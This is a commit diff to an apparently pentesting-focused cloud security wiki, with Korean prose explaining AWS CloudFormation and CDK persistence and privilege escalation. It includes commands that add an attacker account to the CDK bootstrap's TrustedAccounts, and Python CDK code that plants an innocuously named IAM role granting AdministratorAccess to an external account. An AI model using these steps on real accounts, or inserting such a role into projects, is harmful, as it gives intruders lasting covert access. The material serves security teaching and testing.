Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:41:57 +00:00
parent 7b931aadb3
commit 77e06d85cf
4 changed files with 82 additions and 7 deletions
+1
View File
@@ -211,6 +211,7 @@
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK는 `CDKToolkit`이라는 CFN 스택을 배포합니다. 이 스택은 외부 계정이 피해자 계정에 CDK 프로젝트를 배포할 수 있도록 하는 `TrustedAccounts`라는 매개변수를 지원합니다. 공격자는 이를 악용하여 AWS cli를 사용하여 매개변수와 함께 스택을 재배포하거나 AWS CDK cli를 사용하여 피해자 계정에 무기한 접근 권한을 부여할 수 있습니다.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
이 권한이 있지만 **`iam:PassRole`이 없는 경우**에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 이전 섹션에서 악용 예제를 확인하세요(업데이트 시 역할을 지정하지 마세요). 이 권한이 있지만 **`iam:PassRole`**이 없는 경우에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 업데이트 시 역할을 지정하지 마십시오에 대한 이전 섹션의 exploit 예제를 확인하십시오.
`cloudformation:SetStackPolicy` 권한은 **스택에 대한 `UpdateStack` 권한을 부여**하고 공격을 수행하는 데 사용할 수 있습니다. `cloudformation:SetStackPolicy` 권한은 **스택에 대한 `UpdateStack` 권한을 부여**하고 공격을 수행하는 데 사용할 수 있습니다.
@@ -51,9 +51,9 @@ aws cloudformation update-stack \
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
역할을 **전달하고 ChangeSet을 생성 및 실행**할 수 있는 권한이 있는 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지입니다. 역할을 **전달하고 ChangeSet을 생성 및 실행**할 수 있는 권한이 있는 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지.
다음 악용**ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack 하나의**](./#iam-passrole-cloudformation-createstack) 변형입니다. 다음 exploit**ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack exploit의 변형**](#iam-passrole-cloudformation-createstack)입니다.
```bash ```bash
aws cloudformation create-change-set \ aws cloudformation create-change-set \
--stack-name privesc \ --stack-name privesc \
@@ -93,18 +93,63 @@ aws cloudformation describe-stacks \
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
공격자는 이러한 권한을 악용하여 임의의 cloudformation 역할을 악용하기 위해 StackSets를 생성/업데이트할 수 있습니다. 공격자는 이러한 권한을 악용하여 StackSets를 생성/업데이트하여 임의의 cloudformation 역할을 악용할 수 있습니다.
**잠재적 영향:** cloudformation 서비스 역할로의 권한 상승. **잠재적 영향:** cloudformation 서비스 역할로의 권한 상승.
### `cloudformation:UpdateStackSet` ### `cloudformation:UpdateStackSet`
공격자는 passRole 권한 없이 이 권한을 악용하여 연결된 cloudformation 역할을 악용하기 위해 StackSets를 업데이트할 수 있습니다. 공격자는 passRole 권한 없이 이 권한을 악용하여 StackSets를 업데이트하고 연결된 cloudformation 역할을 악용할 수 있습니다.
**잠재적 영향:** 연결된 cloudformation 역할로의 권한 상승. **잠재적 영향:** 연결된 cloudformation 역할로의 권한 상승.
## 참조 ## AWS CDK
AWS cdk는 사용자가 이미 익숙한 언어로 인프라를 코드로 정의할 수 있도록 하는 도구 모음이며, 섹션을 쉽게 재사용할 수 있습니다. 그런 다음 CDK는 고급 코드를 Cloudformation 템플릿(yaml 또는 json)으로 변환합니다.
CDK를 사용하려면 관리 사용자가 먼저 계정을 부트스트랩해야 하며, 이 과정에서 여러 IAM 역할이 생성됩니다. 여기에는 \*/\* 권한을 가진 *exec role*이 포함됩니다. 이러한 역할은 `cdk-<qualifier>-<name>-<account-id>-<region>` 형식의 이름 구조를 따릅니다. 부트스트랩은 계정당 지역별로 한 번만 수행해야 합니다.
기본적으로 CDK 사용자는 CDK를 사용하기 위해 필요한 역할을 나열할 수 있는 권한이 없으므로, 이를 수동으로 확인해야 합니다. 개발자의 머신이나 CI/CD 노드를 손상시키면 이러한 역할을 가정하여 `cfn-exec` 역할을 사용하여 CFN 템플릿을 배포할 수 있는 능력을 부여받아 계정을 완전히 손상시킬 수 있습니다.
### 역할 이름 결정하기
`cloudformation:DescribeStacks` 권한이 있는 경우, 역할은 `CDKToolkit`이라는 스택에 정의되어 있으며, 거기에서 이름을 가져올 수 있습니다.
CDK 프로젝트를 빌드하고 배포하는 데 사용된 머신에 있는 경우, 프로젝트의 루트 디렉토리에서 `cdk.out/manafest.json`에서 가져올 수 있습니다.
또한 역할이 무엇인지에 대한 좋은 추측을 할 수 있습니다. `qualifier`는 여러 인스턴스의 CDK 부트스트랩을 동시에 배포할 수 있도록 역할에 추가된 문자열이지만, 기본값은 하드코딩되어 `hnb659fds`입니다.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### 프로젝트 소스에 악성 코드 추가
프로젝트 소스에 쓸 수 있지만 직접 배포할 수 없는 경우(예: 개발자가 로컬 머신이 아닌 CI/CD를 통해 코드를 배포하는 경우), 스택에 악성 리소스를 추가하여 환경을 손상시킬 수 있습니다. 다음은 공격자 계정이 가정할 수 있는 IAM 역할을 python CDK 프로젝트에 추가하는 방법입니다.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
@@ -31,12 +31,18 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
``` ```
### Privesc ### Privesc
다음 페이지에서 **cloudformation 권한을 용하여 권한 상승**하는 방법을 확인할 수 있습니다: 다음 페이지에서 **cloudformation 권한을 용하여 권한 상승**하는 방법을 확인할 수 있습니다:
{{#ref}} {{#ref}}
../aws-privilege-escalation/aws-cloudformation-privesc/ ../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}} {{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation ### Post-Exploitation
각 CloudFormation의 **템플릿, 매개변수 및 출력**에서 **비밀** 또는 민감한 정보를 확인하십시오. 각 CloudFormation의 **템플릿, 매개변수 및 출력**에서 **비밀** 또는 민감한 정보를 확인하십시오.